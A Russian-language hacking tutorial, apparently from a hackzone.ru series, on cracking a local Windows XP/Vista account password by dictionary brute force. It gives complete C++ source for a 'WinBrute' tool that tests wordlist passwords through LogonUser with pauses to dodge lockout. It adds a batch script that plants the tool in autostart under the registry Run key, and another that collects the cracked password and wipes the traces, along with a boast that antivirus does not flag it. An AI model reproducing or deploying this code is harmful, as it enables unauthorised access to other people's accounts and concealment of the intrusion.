15:23 Локальный взлом Windows XP/Vista #3 | |
Что делать если Локальный взлом Windows XP непоможет, т.к. нет доступа к биосу и вернуть его нереально, тобиш загрузится с чего бы то невыйдет... Локальный взлом Windows XP #2 тоже непоможет, т.к. файловая система NTFS. Есть еще метод. Метод грубой силы, который мы и намерены применить (нет не подумайте грубой физической силы, упаси...) Значит третья часть... bruteforce Итак мы будем подбирать пароль админа (или можна другого юзера, как пожелаете). 1. Пока оно неопределяется антивирусами как Hack Tool , соответственно проблем будет меньше )) Теперь о том на чем будем ее писать: на С++ Итак, устанавливаем его, к примеру, на С:
Code ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //------------------------------------------------------------------------------------------------------------------------// #include <windows.h> #include <string.h> //Процедура запсис текущей позиции во временной файл temp.dat int WriteTempToFile(int i, char ft_Path[255]) { HANDLE htFile; DWORD bytesHtWritten; char k[10]; itoa(i, k, 10); htFile=CreateFile(ft_Path, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0); WriteFile(htFile, k, 10, &bytesHtWritten, NULL); CloseHandle(htFile); }; //Главная процедура int main(int argc, char* argv[]) { // Проверяем переданы ли аргументы, если нет, то выводим краткую справку и завершаем процесс if (argc<2) { MessageBox(0,"Usage: WinBrute.exe <username>\n<username> - User name to brute\n", "WinXP/Vista bruteforce by bre@k [hackzone.ru]", MB_OK); ExitProcess(0); }; //Подождем 100 секунд так как в случает запуска с автозарузки лутьше выждать пока стартуют программы //Sleep(100000); // Получение текущей директории int dirSize=240; char fPath[255]; GetCurrentDirectory(dirSize, fPath); // Копируем путь к текущей директории еще в 2 переменные char frPath[255]; char ftPath[255]; for (int i=0; i<=strlen(fPath); i++) { frPath[i]=fPath[i]; ftPath[i]=fPath[i]; }; // Присоединяем к пути имена файлов strcat(fPath, "\\out.dat"); strcat(frPath, "\\in.dat"); strcat(ftPath, "\\temp.dat"); //Читаем файл паролей in.dat //----------------------------------------------------------------------------------------- HANDLE hrFile; hrFile=CreateFile(frPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0); int hrFileSize; hrFileSize=GetFileSize(hrFile, NULL); char* hrFileBuffer=new char[hrFileSize]; DWORD hfFileBytesRead; ReadFile(hrFile, hrFileBuffer, hrFileSize, &hfFileBytesRead, NULL); CloseHandle(hrFile); //Конец читающих инструкций //------------------------------------------------------------------------------------------- // Фильтруем: каждое слово должно закачиватся на 0х00 чтобы можно было обращатся к нему // по указателю на начало слова int ii=0; HANDLE phToken; for (int i=0; i<=hrFileSize; i++) if (hrFileBuffer[i]==0x0A) { hrFileBuffer[i]=0x00; ii=1; }; for (int i=0; i<=hrFileSize; i++) if (hrFileBuffer[i]==0x0D) { hrFileBuffer[i]=0x00; ii=2; }; // Задаем начальные значения двух слепков времени SYSTEMTIME systime; SYSTEMTIME systimestamp; GetSystemTime(&systime); GetSystemTime(&systimestamp); // Читаем последнюю позицию из файла temp.dat , если такого файла нет, то позиция "0" int starti=0; HANDLE hrtFile; hrtFile=CreateFile(ftPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, 0); if (GetLastError()==0) { char hrtFileBuffer[10]; DWORD hrtFileBytesRead; ReadFile(hrtFile, hrtFileBuffer, 10, &hrtFileBytesRead, NULL); starti=atoi(hrtFileBuffer); // Проверяем файл на метку "1111111111" если это так то перебор уже закончен и мы выходим из программы for (int t=0; t<=9; t++) if (hrtFileBuffer[t]=='1') if (t==9) ExitProcess(4); }; CloseHandle(hrtFile); // Цикл проверки всех паролей из списка----------------------------------------------------------------- for (int i=starti; i<=hrFileSize; i++){ if (hrFileBuffer[i]==0x00) i=i+ii; else continue; // Сохраняем каждые 5 минут текущую позицию чтения // Если время перевалило за 54 минуты то пишем текущую позицию в файл и ждем 5 минут, дабы избежать неприятности if (systime.wMinute>0x0036) { WriteTempToFile(i, ftPath); Sleep(300000); GetSystemTime(&systime); GetSystemTime(&systimestamp); } else if (systime.wMinute>systimestamp.wMinute+0x0005) { GetSystemTime(&systimestamp); WriteTempToFile(i, ftPath); }; GetSystemTime(&systime); // Процедура проверки соответствия пароля логину // Если найден пароль, то выполняем следующие инструкции if (LogonUser(argv[1], NULL, &hrFileBuffer[i], LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &phToken)!=0) { CloseHandle(phToken); //Вычисление длины пароля int j=i; while(TRUE) { if (hrFileBuffer[j]!=0x00) j++; else { j=j-i; break; }; }; //Пишем в файл out.dat результат в формате Username: Password HANDLE hwFile; hwFile=CreateFile(fPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0); DWORD bytesWritten; char writeResult[255]; for (int k=0; k<strlen(argv[1])+1; k++) writeResult[k]=argv[1][k]; strcat(writeResult,": "); strcat(writeResult, &hrFileBuffer[i]); WriteFile(hwFile, writeResult, strlen(argv[1])+j+2, &bytesWritten, NULL); CloseHandle(hwFile); // Учтанавливаем метку в файл, что перебор закончен i=1111111111; WriteTempToFile(i, ftPath); // Завершаем процесс ExitProcess(5); }; }; //Если мы здесь, то пароля в списке небыло и мы записываем в файл out.dat что пароля не нашли для указанного пользователя HANDLE hwFile; hwFile=CreateFile(fPath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0); DWORD bytesWritten; char writeResult[255]; for (int k=0; k<strlen(argv[1])+1; k++) writeResult[k]=argv[1][k]; strcat(writeResult, ": cannot find password in passwords list\n"); WriteFile(hwFile, writeResult, 40+strlen(argv[1]), &bytesWritten, NULL); CloseHandle(hwFile); // Учтанавливаем метку в файл, что перебор закончен int n=1111111111; WriteTempToFile(n, ftPath); return 0; } ///------------------------------------------------------------------------------------------------------------------------/// ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Жмем Ctrl+S , а потом Ctrl+F9 и если пройшло Compiling а потом Linking без проблем то в нашей директории куда мы сохранили проект появится исполняемый файл - переименуем его в WinBrute.exe Теперь попробуйте его просто запутить: вылетит окно что надо передать параметры и интрукция по использованию. Кроме того в текущей директории если вы вручную его запускаете должен быть файл паролей in.dat Для удобства соорудим коммандный файл для запуска нашей проги: Итак, если повезло, то пароль подобран. Если же нет, то удаляем наш процесс и перейдем к следующему этапу. Видать брутить будет долго, а значит того времени, что мы сидим за компом может нехватить. Автоматизировать процесс поможет следующий коммандный файл:
Code @echo off rem отключили эховывод title Adding to autostart WinBrute by break [hackzone.ru] rem дефолтовое значение переменной для ошибки set a=1 rem устанавливаем текущую директорию активной cd .\ rem если нет каталога C:\Temp то мы его создаем if not exist C:\Temp md C:\Temp rem копируем с текущего каталога WinBrute.exe в папку C:\Temp copy /Y WinBrute.exe C:\Temp rem Если файл успешно скопировался то напишем if "%errorlevel%"=="0" echo File WinBrute.exe was successfully copied to C:\Temp echo. rem копируем с текущего каталога in.dat в папку профиля пользователя copy /Y in.dat "%userprofile%" rem Если файл успешно скопировался то напишем if "%errorlevel%"=="0" echo File in.dat was successfully copied to %userprofile% echo. rem меняем кодовую страницу, чтоб небыло каракуль )) chcp 1251 rem добавлем в реестр ключ автозапуска на нашу скопированную программу reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinBrute /t REG_SZ /d "C:\Temp\WinBrute.exe Администратор" /f rem если ошибки нет - ставим а=1 if "%errorlevel%"=="0" set a=1 rem возвращаем кодовую страницу chcp 866 echo. rem проверяем код ошибки и если все нормально то так и напишем, а то после reg.exe выведется неразбериха if "%a%"=="1" echo Information successfully added to registry echo. pause -----------------------------------------------------------------конец------------------------------------------------------- Запускаем коммандный файл: Если два файла скопировано и информация в реестр успешно добавлена, то можно перезайти под этим юзером и брут начнется. Теперь когда вы прийдете следующий раз чтобы посмотреть на результаты "своего" труда то понадобится проверить файл out.dat , поудалять остальные свои файлы и удалить запись с реестра. И как всегда автоматизируем рутинную работу (следующий коммандный файл):
Code @echo off rem отключили эховывод title Getting password file from WinBrute by break [hackzone.ru] and Cleaning... if success rem делаем текущую директорию активной cd .\ rem если есть файл паролей то идем на метку 1 if exist "%userprofile%\out.dat" goto 1 rem пишем что нет пока файла паролей echo there is no password results yet pause rem завершаем коммандный файл exit :1 rem скопируем файл паролей в текущую директорию copy "%userprofile%\out.dat" .\ rem Если файл успешно скопировался то напишем, что он у нас и мы можем туда заглянуть if "%errorlevel%"=="0" echo YES i've got file with password... check it echo. rem поудаляем из директории профиля польователя in.dat, out.dat, temp.dat и файл C:\Temp\WinBrute.exe del /q /s "%userprofile%\in.dat" del /q /s "%userprofile%\out.dat" del /q /s "%userprofile%\temp.dat" del /q /s C:\Temp\WinBrute.exe rem удалим ключ автозапуска reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinBrute /f rem Если ключ удалился то так и напишем if "%errorlevel%"=="0" echo Key was deleted!!! pause rem все. выходим exit ------------------------------------------------------------------конец------------------------------------------------------ Теперь мы пришли (или никуда неуходили ))) ). Все файл с паролем у нас - откроем его блокнотом и что увидим: На заметку: Не стоит забывать, что программа ищет метку окончания брута в файле temp.dat и если такову найдет, то дальше брутить небудет ни при каких обстоятельствах, хоть вы смените и имя пользователя и файл паролей. Как и прежде на hackzone.ru в раздел файлов я залью уже откомпилированный файл и готовые коммандный файлы (в архиве). Скорость брута у меня была около 3-5 тыс. паролей в секунду. Программу тестировал и ошибок необнаружил. Принимаются любые замечания и предложения ))) Обьяснения: Статья писалась исключительно в образовательных целях и за все возможные последствия после прочтения этой статьи, в том числе и после использования прикрепленных файлов (они выкладываются для ознакомления) я ответственности не несу. | |
|
Всего комментариев: 0 | |